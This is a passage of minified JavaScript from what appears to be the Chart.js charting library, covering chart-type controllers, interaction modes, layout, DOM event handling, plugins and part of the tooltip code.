n,i,r,s,o,d,l,u=this.chart,_=this._yScale,m=0,h=0;if(_.options.stacked){for(o=+_.getRightValue(e),l=(d=u._getSortedVisibleDatasetMetas()).length,n=0;n<l&&(r=d[n]).index!==a;++n)i=u.data.datasets[r.index],"line"===r.type&&r.yAxisID===_.id&&((s=+_.getRightValue(i.data[t]))<0?h+=s||0:m+=s||0);return o<0?_.getPixelForValue(h+o):_.getPixelForValue(m+o)}return _.getPixelForValue(e)},updateBezierControlPoints:function(){var e,t,a,n,i=this.chart,r=this.getMeta(),s=r.dataset._model,o=i.chartArea,d=r.data||[];function l(e,t,a){return Math.max(Math.min(e,a),t)}if(s.spanGaps&&(d=d.filter((function(e){return!e._model.skip}))),"monotone"===s.cubicInterpolationMode)R.splineCurveMonotone(d);else for(e=0,t=d.length;e<t;++e)a=d[e]._model,n=R.splineCurve(R.previousItem(d,e)._model,a,R.nextItem(d,e)._model,s.tension),a.controlPointPreviousX=n.previous.x,a.controlPointPreviousY=n.previous.y,a.controlPointNextX=n.next.x,a.controlPointNextY=n.next.y;if(i.options.elements.line.capBezierPoints)for(e=0,t=d.length;e<t;++e)a=d[e]._model,Re(a,o)&&(e>0&&Re(d[e-1]._model,o)&&(a.controlPointPreviousX=l(a.controlPointPreviousX,o.left,o.right),a.controlPointPreviousY=l(a.controlPointPreviousY,o.top,o.bottom)),e<d.length-1&&Re(d[e+1]._model,o)&&(a.controlPointNextX=l(a.controlPointNextX,o.left,o.right),a.controlPointNextY=l(a.controlPointNextY,o.top,o.bottom)))},draw:function(){var e,t=this.chart,a=this.getMeta(),n=a.data||[],i=t.chartArea,r=t.canvas,s=0,o=n.length;for(this._showLine&&(e=a.dataset._model.clip,R.canvas.clipArea(t.ctx,{left:!1===e.left?0:i.left-e.left,right:!1===e.right?r.width:i.right+e.right,top:!1===e.top?0:i.top-e.top,bottom:!1===e.bottom?r.height:i.bottom+e.bottom}),a.dataset.draw(),R.canvas.unclipArea(t.ctx));s<o;++s)n[s].draw(i)},setHoverStyle:function(e){var t=e._model,a=e._options,n=R.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=Ie(a.hoverBackgroundColor,n(a.backgroundColor)),t.borderColor=Ie(a.hoverBorderColor,n(a.borderColor)),t.borderWidth=Ie(a.hoverBorderWidth,a.borderWidth),t.radius=Ie(a.hoverRadius,a.radius)}}),Ge=R.options.resolve;C._set("polarArea",{scale:{type:"radialLinear",angleLines:{display:!1},gridLines:{circular:!0},pointLabels:{display:!1},ticks:{beginAtZero:!0}},animation:{animateRotate:!0,animateScale:!0},startAngle:-.5*Math.PI,legendCallback:function(e){var t,a,n,i=document.createElement("ul"),r=e.data,s=r.datasets,o=r.labels;if(i.setAttribute("class",e.id+"-legend"),s.length)for(t=0,a=s[0].data.length;t<a;++t)(n=i.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=s[0].backgroundColor[t],o[t]&&n.appendChild(document.createTextNode(o[t]));return i.outerHTML},legend:{labels:{generateLabels:function(e){var t=e.data;return t.labels.length&&t.datasets.length?t.labels.map((function(a,n){var i=e.getDatasetMeta(0),r=i.controller.getStyle(n);return{text:a,fillStyle:r.backgroundColor,strokeStyle:r.borderColor,lineWidth:r.borderWidth,hidden:isNaN(t.datasets[0].data[n])||i.data[n].hidden,index:n}})):[]}},onClick:function(e,t){var a,n,i,r=t.index,s=this.chart;for(a=0,n=(s.data.datasets||[]).length;a<n;++a)(i=s.getDatasetMeta(a)).data[r].hidden=!i.data[r].hidden;s.update()}},tooltips:{callbacks:{title:function(){return""},label:function(e,t){return t.labels[e.index]+": "+e.yLabel}}}});var qe=ne.extend({dataElementType:ve.Arc,linkScales:R.noop,_dataElementOptions:["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"],_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(e){var t,a,n,i=this,r=i.getDataset(),s=i.getMeta(),o=i.chart.options.startAngle||0,d=i._starts=[],l=i._angles=[],u=s.data;for(i._updateRadius(),s.count=i.countVisibleElements(),t=0,a=r.data.length;t<a;t++)d[t]=o,n=i._computeAngle(t),l[t]=n,o+=n;for(t=0,a=u.length;t<a;++t)u[t]._options=i._resolveDataElementOptions(u[t],t),i.updateElement(u[t],t,e)},_updateRadius:function(){var e=this,t=e.chart,a=t.chartArea,n=t.options,i=Math.min(a.right-a.left,a.bottom-a.top);t.outerRadius=Math.max(i/2,0),t.innerRadius=Math.max(n.cutoutPercentage?t.outerRadius/100*n.cutoutPercentage:1,0),t.radiusLength=(t.outerRadius-t.innerRadius)/t.getVisibleDatasetCount(),e.outerRadius=t.outerRadius-t.radiusLength*e.index,e.innerRadius=e.outerRadius-t.radiusLength},updateElement:function(e,t,a){var n=this,i=n.chart,r=n.getDataset(),s=i.options,o=s.animation,d=i.scale,l=i.data.labels,u=d.xCenter,_=d.yCenter,m=s.startAngle,h=e.hidden?0:d.getDistanceFromCenterForValue(r.data[t]),c=n._starts[t],f=c+(e.hidden?0:n._angles[t]),M=o.animateScale?0:d.getDistanceFromCenterForValue(r.data[t]),p=e._options||{};R.extend(e,{_datasetIndex:n.index,_index:t,_scale:d,_model:{backgroundColor:p.backgroundColor,borderColor:p.borderColor,borderWidth:p.borderWidth,borderAlign:p.borderAlign,x:u,y:_,innerRadius:0,outerRadius:a?M:h,startAngle:a&&o.animateRotate?m:c,endAngle:a&&o.animateRotate?m:f,label:R.valueAtIndexOrDefault(l,t,l[t])}}),e.pivot()},countVisibleElements:function(){var e=this.getDataset(),t=this.getMeta(),a=0;return R.each(t.data,(function(t,n){isNaN(e.data[n])||t.hidden||a++})),a},setHoverStyle:function(e){var t=e._model,a=e._options,n=R.getHoverColor,i=R.valueOrDefault;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth},t.backgroundColor=i(a.hoverBackgroundColor,n(a.backgroundColor)),t.borderColor=i(a.hoverBorderColor,n(a.borderColor)),t.borderWidth=i(a.hoverBorderWidth,a.borderWidth)},_computeAngle:function(e){var t=this,a=this.getMeta().count,n=t.getDataset(),i=t.getMeta();if(isNaN(n.data[e])||i.data[e].hidden)return 0;var r={chart:t.chart,dataIndex:e,dataset:n,datasetIndex:t.index};return Ge([t.chart.options.elements.arc.angle,2*Math.PI/a],r,e)}});C._set("pie",R.clone(C.doughnut)),C._set("pie",{cutoutPercentage:0});var Ke=Ee,Ze=R.valueOrDefault;C._set("radar",{spanGaps:!1,scale:{type:"radialLinear"},elements:{line:{fill:"start",tension:0}}});var $e=ne.extend({datasetElementType:ve.Line,dataElementType:ve.Point,linkScales:R.noop,_datasetElementOptions:["backgroundColor","borderWidth","borderColor","borderCapStyle","borderDash","borderDashOffset","borderJoinStyle","fill"],_dataElementOptions:{backgroundColor:"pointBackgroundColor",borderColor:"pointBorderColor",borderWidth:"pointBorderWidth",hitRadius:"pointHitRadius",hoverBackgroundColor:"pointHoverBackgroundColor",hoverBorderColor:"pointHoverBorderColor",hoverBorderWidth:"pointHoverBorderWidth",hoverRadius:"pointHoverRadius",pointStyle:"pointStyle",radius:"pointRadius",rotation:"pointRotation"},_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(e){var t,a,n=this,i=n.getMeta(),r=i.dataset,s=i.data||[],o=n.chart.scale,d=n._config;for(void 0!==d.tension&&void 0===d.lineTension&&(d.lineTension=d.tension),r._scale=o,r._datasetIndex=n.index,r._children=s,r._loop=!0,r._model=n._resolveDatasetElementOptions(r),r.pivot(),t=0,a=s.length;t<a;++t)n.updateElement(s[t],t,e);for(n.updateBezierControlPoints(),t=0,a=s.length;t<a;++t)s[t].pivot()},updateElement:function(e,t,a){var n=this,i=e.custom||{},r=n.getDataset(),s=n.chart.scale,o=s.getPointPositionForValue(t,r.data[t]),d=n._resolveDataElementOptions(e,t),l=n.getMeta().dataset._model,u=a?s.xCenter:o.x,_=a?s.yCenter:o.y;e._scale=s,e._options=d,e._datasetIndex=n.index,e._index=t,e._model={x:u,y:_,skip:i.skip||isNaN(u)||isNaN(_),radius:d.radius,pointStyle:d.pointStyle,rotation:d.rotation,backgroundColor:d.backgroundColor,borderColor:d.borderColor,borderWidth:d.borderWidth,tension:Ze(i.tension,l?l.tension:0),hitRadius:d.hitRadius}},_resolveDatasetElementOptions:function(){var e=this,t=e._config,a=e.chart.options,n=ne.prototype._resolveDatasetElementOptions.apply(e,arguments);return n.spanGaps=Ze(t.spanGaps,a.spanGaps),n.tension=Ze(t.lineTension,a.elements.line.tension),n},updateBezierControlPoints:function(){var e,t,a,n,i=this.getMeta(),r=this.chart.chartArea,s=i.data||[];function o(e,t,a){return Math.max(Math.min(e,a),t)}for(i.dataset._model.spanGaps&&(s=s.filter((function(e){return!e._model.skip}))),e=0,t=s.length;e<t;++e)a=s[e]._model,n=R.splineCurve(R.previousItem(s,e,!0)._model,a,R.nextItem(s,e,!0)._model,a.tension),a.controlPointPreviousX=o(n.previous.x,r.left,r.right),a.controlPointPreviousY=o(n.previous.y,r.top,r.bottom),a.controlPointNextX=o(n.next.x,r.left,r.right),a.controlPointNextY=o(n.next.y,r.top,r.bottom)},setHoverStyle:function(e){var t=e._model,a=e._options,n=R.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=Ze(a.hoverBackgroundColor,n(a.backgroundColor)),t.borderColor=Ze(a.hoverBorderColor,n(a.borderColor)),t.borderWidth=Ze(a.hoverBorderWidth,a.borderWidth),t.radius=Ze(a.hoverRadius,a.radius)}});C._set("scatter",{hover:{mode:"single"},scales:{xAxes:[{id:"x-axis-1",type:"linear",position:"bottom"}],yAxes:[{id:"y-axis-1",type:"linear",position:"left"}]},tooltips:{callbacks:{title:function(){return""},label:function(e){return"("+e.xLabel+", "+e.yLabel+")"}}}}),C._set("global",{datasets:{scatter:{showLine:!1}}});var Xe={bar:He,bubble:Oe,doughnut:Ee,horizontalBar:ze,line:Ue,polarArea:qe,pie:Ke,radar:$e,scatter:Ue};function Qe(e,t){return e.native?{x:e.x,y:e.y}:R.getRelativePosition(e,t)}function et(e,t){var a,n,i,r,s,o,d=e._getSortedVisibleDatasetMetas();for(n=0,r=d.length;n<r;++n)for(i=0,s=(a=d[n].data).length;i<s;++i)(o=a[i])._view.skip||t(o)}function tt(e,t){var a=[];return et(e,(function(e){e.inRange(t.x,t.y)&&a.push(e)})),a}function at(e,t,a,n){var i=Number.POSITIVE_INFINITY,r=[];return et(e,(function(e){if(!a||e.inRange(t.x,t.y)){var s=e.getCenterPoint(),o=n(t,s);o<i?(r=[e],i=o):o===i&&r.push(e)}})),r}function nt(e){var t=-1!==e.indexOf("x"),a=-1!==e.indexOf("y");return function(e,n){var i=t?Math.abs(e.x-n.x):0,r=a?Math.abs(e.y-n.y):0;return Math.sqrt(Math.pow(i,2)+Math.pow(r,2))}}function it(e,t,a){var n=Qe(t,e);a.axis=a.axis||"x";var i=nt(a.axis),r=a.intersect?tt(e,n):at(e,n,!1,i),s=[];return r.length?(e._getSortedVisibleDatasetMetas().forEach((function(e){var t=e.data[r[0]._index];t&&!t._view.skip&&s.push(t)})),s):[]}var rt={modes:{single:function(e,t){var a=Qe(t,e),n=[];return et(e,(function(e){if(e.inRange(a.x,a.y))return n.push(e),n})),n.slice(0,1)},label:it,index:it,dataset:function(e,t,a){var n=Qe(t,e);a.axis=a.axis||"xy";var i=nt(a.axis),r=a.intersect?tt(e,n):at(e,n,!1,i);return r.length>0&&(r=e.getDatasetMeta(r[0]._datasetIndex).data),r},"x-axis":function(e,t){return it(e,t,{intersect:!1})},point:function(e,t){return tt(e,Qe(t,e))},nearest:function(e,t,a){var n=Qe(t,e);a.axis=a.axis||"xy";var i=nt(a.axis);return at(e,n,a.intersect,i)},x:function(e,t,a){var n=Qe(t,e),i=[],r=!1;return et(e,(function(e){e.inXRange(n.x)&&i.push(e),e.inRange(n.x,n.y)&&(r=!0)})),a.intersect&&!r&&(i=[]),i},y:function(e,t,a){var n=Qe(t,e),i=[],r=!1;return et(e,(function(e){e.inYRange(n.y)&&i.push(e),e.inRange(n.x,n.y)&&(r=!0)})),a.intersect&&!r&&(i=[]),i}}},st=R.extend;function ot(e,t){return R.where(e,(function(e){return e.pos===t}))}function dt(e,t){return e.sort((function(e,a){var n=t?a:e,i=t?e:a;return n.weight===i.weight?n.index-i.index:n.weight-i.weight}))}function lt(e,t,a,n){return Math.max(e[a],t[a])+Math.max(e[n],t[n])}function ut(e,t,a){var n,i,r=a.box,s=e.maxPadding;if(a.size&&(e[a.pos]-=a.size),a.size=a.horizontal?r.height:r.width,e[a.pos]+=a.size,r.getPadding){var o=r.getPadding();s.top=Math.max(s.top,o.top),s.left=Math.max(s.left,o.left),s.bottom=Math.max(s.bottom,o.bottom),s.right=Math.max(s.right,o.right)}if(n=t.outerWidth-lt(s,e,"left","right"),i=t.outerHeight-lt(s,e,"top","bottom"),n!==e.w||i!==e.h){e.w=n,e.h=i;var d=a.horizontal?[n,e.w]:[i,e.h];return!(d[0]===d[1]||isNaN(d[0])&&isNaN(d[1]))}}function _t(e,t){var a=t.maxPadding;function n(e){var n={left:0,top:0,right:0,bottom:0};return e.forEach((function(e){n[e]=Math.max(t[e],a[e])})),n}return n(e?["left","right"]:["top","bottom"])}function mt(e,t,a){var n,i,r,s,o,d,l=[];for(n=0,i=e.length;n<i;++n)(s=(r=e[n]).box).update(r.width||t.w,r.height||t.h,_t(r.horizontal,t)),ut(t,a,r)&&(d=!0,l.length&&(o=!0)),s.fullWidth||l.push(r);return o&&mt(l,t,a)||d}function ht(e,t,a){var n,i,r,s,o=a.padding,d=t.x,l=t.y;for(n=0,i=e.length;n<i;++n)s=(r=e[n]).box,r.horizontal?(s.left=s.fullWidth?o.left:t.left,s.right=s.fullWidth?a.outerWidth-o.right:t.left+t.w,s.top=l,s.bottom=l+s.height,s.width=s.right-s.left,l=s.bottom):(s.left=d,s.right=d+s.width,s.top=t.top,s.bottom=t.top+t.h,s.height=s.bottom-s.top,d=s.right);t.x=d,t.y=l}C._set("global",{layout:{padding:{top:0,right:0,bottom:0,left:0}}});var ct,ft={defaults:{},addBox:function(e,t){e.boxes||(e.boxes=[]),t.fullWidth=t.fullWidth||!1,t.position=t.position||"top",t.weight=t.weight||0,t._layers=t._layers||function(){return[{z:0,draw:function(){t.draw.apply(t,arguments)}}]},e.boxes.push(t)},removeBox:function(e,t){var a=e.boxes?e.boxes.indexOf(t):-1;-1!==a&&e.boxes.splice(a,1)},configure:function(e,t,a){for(var n,i=["fullWidth","position","weight"],r=i.length,s=0;s<r;++s)n=i[s],a.hasOwnProperty(n)&&(t[n]=a[n])},update:function(e,t,a){if(e){var n=e.options.layout||{},i=R.options.toPadding(n.padding),r=t-i.width,s=a-i.height,o=function(e){var t=function(e){var t,a,n,i=[];for(t=0,a=(e||[]).length;t<a;++t)n=e[t],i.push({index:t,box:n,pos:n.position,horizontal:n.isHorizontal(),weight:n.weight});return i}(e),a=dt(ot(t,"left"),!0),n=dt(ot(t,"right")),i=dt(ot(t,"top"),!0),r=dt(ot(t,"bottom"));return{leftAndTop:a.concat(i),rightAndBottom:n.concat(r),chartArea:ot(t,"chartArea"),vertical:a.concat(n),horizontal:i.concat(r)}}(e.boxes),d=o.vertical,l=o.horizontal,u=Object.freeze({outerWidth:t,outerHeight:a,padding:i,availableWidth:r,vBoxMaxWidth:r/2/d.length,hBoxMaxHeight:s/2}),_=st({maxPadding:st({},i),w:r,h:s,x:i.left,y:i.top},i);!function(e,t){var a,n,i;for(a=0,n=e.length;a<n;++a)(i=e[a]).width=i.horizontal?i.box.fullWidth&&t.availableWidth:t.vBoxMaxWidth,i.height=i.horizontal&&t.hBoxMaxHeight}(d.concat(l),u),mt(d,_,u),mt(l,_,u)&&mt(d,_,u),function(e){var t=e.maxPadding;function a(a){var n=Math.max(t[a]-e[a],0);return e[a]+=n,n}e.y+=a("top"),e.x+=a("left"),a("right"),a("bottom")}(_),ht(o.leftAndTop,_,u),_.x+=_.w,_.y+=_.h,ht(o.rightAndBottom,_,u),e.chartArea={left:_.left,top:_.top,right:_.left+_.w,bottom:_.top+_.h},R.each(o.chartArea,(function(t){var a=t.box;st(a,e.chartArea),a.update(_.w,_.h)}))}}},Mt=(ct=Object.freeze({__proto__:null,default:"@keyframes chartjs-render-animation{from{opacity:.99}to{opacity:1}}.chartjs-render-monitor{animation:chartjs-render-animation 1ms}.chartjs-size-monitor,.chartjs-size-monitor-expand,.chartjs-size-monitor-shrink{position:absolute;direction:ltr;left:0;top:0;right:0;bottom:0;overflow:hidden;pointer-events:none;visibility:hidden;z-index:-1}.chartjs-size-monitor-expand>div{position:absolute;width:1000000px;height:1000000px;left:0;top:0}.chartjs-size-monitor-shrink>div{position:absolute;width:200%;height:200%;left:0;top:0}"}))&&ct.default||ct,pt="$chartjs",gt="chartjs-size-monitor",yt="chartjs-render-monitor",Lt="chartjs-render-animation",Yt=["animationstart","webkitAnimationStart"],vt={touchstart:"mousedown",touchmove:"mousemove",touchend:"mouseup",pointerenter:"mouseenter",pointerdown:"mousedown",pointermove:"mousemove",pointerup:"mouseup",pointerleave:"mouseout",pointerout:"mouseout"};function kt(e,t){var a=R.getStyle(e,t),n=a&&a.match(/^(\d+)(\.\d+)?px$/);return n?Number(n[1]):void 0}var bt=!!function(){var e=!1;try{var t=Object.defineProperty({},"passive",{get:function(){e=!0}});window.addEventListener("e",null,t)}catch(e){}return e}()&&{passive:!0};function Dt(e,t,a){e.addEventListener(t,a,bt)}function wt(e,t,a){e.removeEventListener(t,a,bt)}function Tt(e,t,a,n,i){return{type:e,chart:t,native:i||null,x:void 0!==a?a:null,y:void 0!==n?n:null}}function xt(e){var t=document.createElement("div");return t.className=e||"",t}function St(e,t,a){var n,i,r,s,o=e[pt]||(e[pt]={}),d=o.resizer=function(e){var t=xt(gt),a=xt(gt+"-expand"),n=xt(gt+"-shrink");a.appendChild(xt()),n.appendChild(xt()),t.appendChild(a),t.appendChild(n),t._reset=function(){a.scrollLeft=1e6,a.scrollTop=1e6,n.scrollLeft=1e6,n.scrollTop=1e6};var i=function(){t._reset(),e()};return Dt(a,"scroll",i.bind(a,"expand")),Dt(n,"scroll",i.bind(n,"shrink")),t}((n=function(){if(o.resizer){var n=a.options.maintainAspectRatio&&e.parentNode,i=n?n.clientWidth:0;t(Tt("resize",a)),n&&n.clientWidth<i&&a.canvas&&t(Tt("resize",a))}},r=!1,s=[],function(){s=Array.prototype.slice.call(arguments),i=i||this,r||(r=!0,R.requestAnimFrame.call(window,(function(){r=!1,n.apply(i,s)})))}));!function(e,t){var a=e[pt]||(e[pt]={}),n=a.renderProxy=function(e){e.animationName===Lt&&t()};R.each(Yt,(function(t){Dt(e,t,n)})),a.reflow=!!e.offsetParent,e.classList.add(yt)}(e,(function(){if(o.resizer){var t=e.parentNode;t&&t!==d.parentNode&&t.insertBefore(d,t.firstChild),d._reset()}}))}function Ht(e){var t=e[pt]||{},a=t.resizer;delete t.resizer,function(e){var t=e[pt]||{},a=t.renderProxy;a&&(R.each(Yt,(function(t){wt(e,t,a)})),delete t.renderProxy),e.classList.remove(yt)}(e),a&&a.parentNode&&a.parentNode.removeChild(a)}var jt={disableCSSInjection:!1,_enabled:"undefined"!=typeof window&&"undefined"!=typeof document,_ensureLoaded:function(e){if(!this.disableCSSInjection){var t=e.getRootNode?e.getRootNode():document;!function(e,t){var a=e[pt]||(e[pt]={});if(!a.containsStyles){a.containsStyles=!0,t="/* Chart.js */\n"+t;var n=document.createElement("style");n.setAttribute("type","text/css"),n.appendChild(document.createTextNode(t)),e.appendChild(n)}}(t.host?t:document.head,Mt)}},acquireContext:function(e,t){"string"==typeof e?e=document.getElementById(e):e.length&&(e=e[0]),e&&e.canvas&&(e=e.canvas);var a=e&&e.getContext&&e.getContext("2d");return a&&a.canvas===e?(this._ensureLoaded(e),function(e,t){var a=e.style,n=e.getAttribute("height"),i=e.getAttribute("width");if(e[pt]={initial:{height:n,width:i,style:{display:a.display,height:a.height,width:a.width}}},a.display=a.display||"block",null===i||""===i){var r=kt(e,"width");void 0!==r&&(e.width=r)}if(null===n||""===n)if(""===e.style.height)e.height=e.width/(t.options.aspectRatio||2);else{var s=kt(e,"height");void 0!==r&&(e.height=s)}}(e,t),a):null},releaseContext:function(e){var t=e.canvas;if(t[pt]){var a=t[pt].initial;["height","width"].forEach((function(e){var n=a[e];R.isNullOrUndef(n)?t.removeAttribute(e):t.setAttribute(e,n)})),R.each(a.style||{},(function(e,a){t.style[a]=e})),t.width=t.width,delete t[pt]}},addEventListener:function(e,t,a){var n=e.canvas;if("resize"!==t){var i=a[pt]||(a[pt]={});Dt(n,t,(i.proxies||(i.proxies={}))[e.id+"_"+t]=function(t){a(function(e,t){var a=vt[e.type]||e.type,n=R.getRelativePosition(e,t);return Tt(a,t,n.x,n.y,e)}(t,e))})}else St(n,a,e)},removeEventListener:function(e,t,a){var n=e.canvas;if("resize"!==t){var i=((a[pt]||{}).proxies||{})[e.id+"_"+t];i&&wt(n,t,i)}else Ht(n)}};R.addEvent=Dt,R.removeEvent=wt;var Pt=jt._enabled?jt:{acquireContext:function(e){return e&&e.canvas&&(e=e.canvas),e&&e.getContext("2d")||null}},Ot=R.extend({initialize:function(){},acquireContext:function(){},releaseContext:function(){},addEventListener:function(){},removeEventListener:function(){}},Pt);C._set("global",{plugins:{}});var At={_plugins:[],_cacheId:0,register:function(e){var t=this._plugins;[].concat(e).forEach((function(e){-1===t.indexOf(e)&&t.push(e)})),this._cacheId++},unregister:function(e){var t=this._plugins;[].concat(e).forEach((function(e){var a=t.indexOf(e);-1!==a&&t.splice(a,1)})),this._cacheId++},clear:function(){this._plugins=[],this._cacheId++},count:function(){return this._plugins.length},getAll:function(){return this._plugins},notify:function(e,t,a){var n,i,r,s,o,d=this.descriptors(e),l=d.length;for(n=0;n<l;++n)if("function"==typeof(o=(r=(i=d[n]).plugin)[t])&&((s=[e].concat(a||[])).push(i.options),!1===o.apply(r,s)))return!1;return!0},descriptors:function(e){var t=e.$plugins||(e.$plugins={});if(t.id===this._cacheId)return t.descriptors;var a=[],n=[],i=e&&e.config||{},r=i.options&&i.options.plugins||{};return this._plugins.concat(i.plugins||[]).forEach((function(e){if(-1===a.indexOf(e)){var t=e.id,i=r[t];!1!==i&&(!0===i&&(i=R.clone(C.global.plugins[t])),a.push(e),n.push({plugin:e,options:i||{}}))}})),t.descriptors=n,t.id=this._cacheId,n},_invalidate:function(e){delete e.$plugins}},Ft={constructors:{},defaults:{},registerScaleType:function(e,t,a){this.constructors[e]=t,this.defaults[e]=R.clone(a)},getScaleConstructor:function(e){return this.constructors.hasOwnProperty(e)?this.constructors[e]:void 0},getScaleDefaults:function(e){return this.defaults.hasOwnProperty(e)?R.merge(Object.create(null),[C.scale,this.defaults[e]]):{}},updateScaleDefaults:function(e,t){this.defaults.hasOwnProperty(e)&&(this.defaults[e]=R.extend(this.defaults[e],t))},addScalesToLayout:function(e){R.each(e.scales,(function(t){t.fullWidth=t.options.fullWidth,t.position=t.options.position,t.weight=t.options.weight,ft.addBox(e,t)}))}},Wt=R.valueOrDefault,Ct=R.rtl.getRtlAdapter;C._set("global",{tooltips:{enabled:!0,custom:null,mode:"nearest",position:"average",intersect:!0,backgroundColor:"rgba(0,0,0,0.8)",titleFontStyle:"bold",titleSpacing:2,titleMarginBottom:6,titleFontColor:"#fff",titleAlign:"left",bodySpacing:2,bodyFontColor:"#fff",bodyAlign:"left",footerFontStyle:"bold",footerSpacing:2,footerMarginTop:6,footerFontColor:"#fff",footerAlign:"left",yPadding:6,xPadding:6,caretPadding:2,caretSize:5,cornerRadius:6,multiKeyBackground:"#fff",displayColors:!0,borderColor:"rgba(0,0,0,0)",borderWidth:0,callbacks:{beforeTitle:R.noop,title:function(e,t){var a="",n=t.labels,i=n?n.length:0;if(e.length>0){var r=e[0];r.label?a=r.label:r.xLabel?a=r.xLabel:i>0&&r.index<i&&(a=n[r.index])}return a},afterTitle:R.noop,beforeBody:R.noop,beforeLabel:R.noop,label:function(e,t){var a=t.datasets[e.datasetIndex].label||"";return a&&(a+=": "),R.isNullOrUndef(e.value)?a+=e.yLabel:a+=e.value,a},labelColor:function(e,t){var a=t.getDatasetMeta(e.datasetIndex).data[e.index]._view;return{borderColor:a.borderColor,backgroundColor:a.backgroundColor}},labelTextColor:function(){return this._options.bodyFontColor},afterLabel:R.noop,afterBody:R.noop,beforeFooter:R.noop,footer:R.noop,afterFooter:R.noop}}});var Et={average:function(e){if(!e.length)return!1;var t,a,n=0,i=0,r=0;for(t=0,a=e.length;t<a;++t){var s=e[t];if(s&&s.hasValue()){var o=s.tooltipPosition();n+=o.x,i+=o.y,++r}}return{x:n/r,y:i/r}},nearest:function(e,t){var a,n,i,r=t.x,s=t.y,o=Number.POSITIVE_INFINITY;for(a=0,n=e.length;a<n;++a){var d=e[a];if(d&&d.hasValue()){var l=d.getCenterPoint(),u=R.distanceBetweenPoints(t,l);u<o&&(o=u,i=d)}}if(i){var _=i.tooltipPosition();r=_.x,s=_.y}return{x:r,y:s}}};function zt(e,t){return t&&(R.isArray(t)?Array.prototype.push.apply(e,t):e.push(t)),e}function It(e){return("string"==typeof e||e instanceof String)&&e.indexOf("\n")>-1?e.split("\n"):e}function Nt(e){var t=C.global;return{xPadding:e.xPadding,yPadding:e.yPadding,xAlign:e.xAlign,yAlign:e.yAlign,rtl:e.rtl,textDirection:e.textDirection,bodyFontColor:e.bodyFontColor,_bodyFontFamily:Wt(e.bodyFontFamily,t.defaultFontFamily),_bodyFontStyle:Wt(e.bodyFontStyle,t.defaultFontStyle),_bodyAlign:e.bodyAlign,bodyFontSize:Wt(e.bodyFontSize,t.defaultFontSize),bodySpacing:e.bodySpacing,titleFontColor:e.titleFontColor,_titleFontFamily:Wt(e.titleFontFamily,t.defaultFontFamily),_titleFontStyle:Wt(e.titleFontStyle,t.defaultFontStyle),titleFontSize:Wt(e.titleFontSize,t.defaultFontSize),_titleAlign:e.titleAlign,titleSpacing:e.titleSpacing,titleMarginBottom:e.titleMarginBottom,footerFontColor:e.footerFontColor,_footerFontFamily:Wt(e.footerFontFamily,t.defaultFontFamily),_footerFontStyle:Wt(e.footerFontStyle,t.defaultFontStyle),footerFontSize:Wt(e.footerFontSize,t.defaultFontSize),_footerAlign:e.footerAlign,footerSpacing:e.footerSpacing,footerMarginTop:e.footerMarginTop,caretSize:e.caretSize,cornerRadius:e.cornerRadius,backgroundColor:e.backgroundColor,opacity:0,legendColorBackground:e.multiKeyBackground,displayColors:e.displayColors,borderColor:e.borderColor,borderWidth:e.borderWidth}}function Rt(e,t){return"center"===t?e.x+e.width/2:"right"===t?e.x+e.width-e.xPadding:e.x+e.xPadding}function Vt(e){return zt([],It(e))}var Bt=K.extend({initialize:function(){this._model=Nt(this._options),this._lastActive=[]},getTitle:function(){var e=this,t=e._options.callbacks,a=t.beforeTitle.apply(e,arguments),n=t.title.apply(e,arguments),i=t.afterTitle.apply(e,arguments),r=[];return r=zt(r,It(a)),r=zt(r,It(n)),zt(r,It(i))},getBeforeBody:function(){return Vt(this._options.callbacks.beforeBody.apply(this,arguments))},getBody:function(e,t){var a=this,n=a._options.callbacks,i=[];return R.each(e,(function(e){var r={before:[],lines:[],after:[]};zt(r.before,It(n.beforeLabel.call(a,e,t))),zt(r.lines,n.label.call(a,e,t)),zt(r.after,It(n.afterLabel.call(a,e,t))),i.push(r)})),i},getAfterBody:function(){return Vt(this._options.callbacks.afterBody.apply(this,arguments))},getFooter:function(){var e=this,t=e._options.callbacks,a=t.beforeFooter.apply(e,arguments),n=t.footer.apply(e,arguments),i=t.afterFooter.apply(e,arguments),r=[];return r=zt(r,It(a)),r=zt(r,It(n)),zt(r,It(i))},update:function(e){var t,a,n,i,r,s,o,d,l,u,_=this,m=_._options,h=_._model,c=_._model=Nt(m),f=_._active,M=_._data,p={xAlign:h.xAlign,yAlign:h.yAlign},g={x:h.x,y:h.y},y={width:h.width,height:h.height},L={x:h.caretX,y:h.caretY};if(f.length){c.opacity=1;var Y=[],v=[];L=Et[m.position].call(_,f,_._eventPosition);var k=[];for(t=0,a=f.length;t<a;++t)k.push((i=void 0,r=void 0,s=void 0,o=void 0,d=void 0,l=void 0,u=void 0,i=(n=f[t])._xScale,r=n._yScale||n._scale,s=n._index,o=n._datasetIndex,l=(d=n._chart.getDatasetMeta(o).controller)._getIndexScale(),u=d._getValueScale(),{xLabel:i?i.getLabelForIndex(s,o):"",yLabel:r?r.getLabelForIndex(s,o):"",label:l?""+l.getLabelForIndex(s,o):"",value:u?""+u.getLabelForIndex(s,o):"",index:s,datasetIndex:o,x:n._model.x,y:n._model.y}));m.filter&&(k=k.filter((function(e){return m.filter(e,M)}))),m.itemSort&&(k=k.sort((function(e,t){return m.itemSort(e,t,M)}))),R.each(k,(function(e){Y.push(m.callbacks.labelColor.call(_,e,_._chart)),v.push(m.callbacks.labelTextColor.call(_,e,_._chart))})),c.title=_.getTitle(k,M),c.beforeBody=_.getBeforeBody(k,M),c.body=_.getBody(k,M),c.afterBody=_.getAfterBody(k,M),c.footer=_.getFooter(k,M),c.x=L.x,c.y=L.y,c.caretPadding=m.caretPadding,c.labelColors=Y,c.labelTextColors=v,c.dataPoints=k,g=function(e,t,a,n){var 